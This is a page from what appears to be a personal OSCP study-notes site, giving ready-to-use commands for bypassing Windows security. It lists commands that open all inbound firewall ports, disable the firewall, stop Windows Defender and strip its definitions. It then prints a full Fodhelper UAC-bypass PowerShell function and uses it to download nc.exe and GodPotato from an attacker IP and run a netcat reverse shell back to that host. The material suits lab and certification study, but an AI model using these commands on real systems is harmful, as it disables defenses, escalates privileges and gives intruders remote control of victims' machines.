Braindump
Read BlogpostsLet's Connect
  • Introduction: My OSCP Journey
  • Writeup Index
  • OSCP Machine Writeups
    • 🔥PG - Practice
      • Shenzi
      • DVR4
      • Resourced
      • Kevin
      • Nara
      • Jacko
      • Authby
      • Access
      • Internal
      • Hutch
      • Algernon
      • HelpDesk
      • Squid
      • Hepet
      • Craft2
      • ClamAV
      • Pelican
      • Payday
      • Snookums
      • Bratarina
      • Nibbles
      • Hetemit
      • Hawat
      • Astronaut
      • Exfiltrated
      • Fanatastic
      • Wombo
      • Levram
      • LaVita
    • 💣HackTheBox
      • Devel
      • Legacy
      • Intelligence
        • Learning
      • Blackfield
        • PrivEsc - SeBackupPrivilege
      • Sauna
      • Bastard
      • Arctic
      • Forest
      • Active
      • SecNotes
      • Access
  • Preparation Notes
    • Tips and Tricks
      • File Transfer
      • Download a file - Windows CLI
      • Bypassing Firewall/Defender/UAC
      • Accessing File
      • Reverse Shell
      • OneLiner - Reverse/bind Shell
      • OneLiner - MSFVenom
    • Enumeration Techniques
      • System and Network Enumeration
      • Web Enumeration
      • Service Enum
      • CMS
    • Exploitation
      • Exploiting Web Apps
      • Exploiting Wordpress
      • Public Exploits
    • Privilege Escalation
      • Linux Privilege Escalation
        • Disk Group PrivEsc
      • Windows Privilege Escalation
    • Active Directory
      • Enumeration
      • AD Attacks
      • mimikatz
      • Lateral movement
    • Pivoting and Networking
      • SSH Port Forwarding
      • Ligolo-ng
    • Password Cracking
Powered by GitBook
On this page
  • Firewall
  • Windows Defender
  • UAC Bypass

Was this helpful?

  1. Preparation Notes
  2. Tips and Tricks

Bypassing Firewall/Defender/UAC

Firewall

New-NetFirewallRule -DisplayName "Allow All Ports and IPs" -Direction Inbound -Action Allow -Protocol Any -Profile Any -Enabled True

Windows Defender

# Identify firewall profiles for an user
netsh advfirewall show allprofiles

# Disable all firewall profiles for an user
netsh advfirewall set allprofiles state off

# Totally disable the firewall
netsh firewall set opmode disable

# Don't have powershell, use cmd.exe instead
sc stop WinDefend

# Disabling defender using powershell
Set-MpPreference -DisableRealtimeMonitoring $true

# navigate to Windows Defender directory and type the following
./mpcmdrun.exe -RemoveDefinitions -All

UAC Bypass

using FodhelperBypass.ps1

# Ran the following function in Powershell
# 
# https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1

function FodhelperBypass(){ 
 Param (
           
        [String]$program = "cmd /c start powershell.exe" #default
       )

    #Create registry structure
    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force

    #Perform the bypass
    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

    #Remove registry structure
    Start-Sleep 3
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

}

# Upload netcat and godPotato into the victim machine
# ---------
## Using Netcat to Connect to the Attacker's Machine
## Elevate Shell Privileges with GodPotato
## Bypass UAC Restrictions with FodhelperBypass.ps1: The Ultimate Dream Environment for Attackers
# ---------
iwr -uri http://192.168.49.95:8000/nc.exe -outfile nc.exe
iwr -uri http://192.168.49.95:8000/god.exe -outfile god.exe


# used this function to execute nc.exe
FodhelperBypass -program "cmd.exe /c C:\Users\Tom.Davies\nc.exe 192.168.49.95 7777 -e powershell.exe"

# Setup a listener
nc -nlvp 7777

# Got a Reverse shell with UAC bypassed!
PreviousDownload a file - Windows CLINextAccessing File

Last updated 3 days ago

Was this helpful?

Refer ->

https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1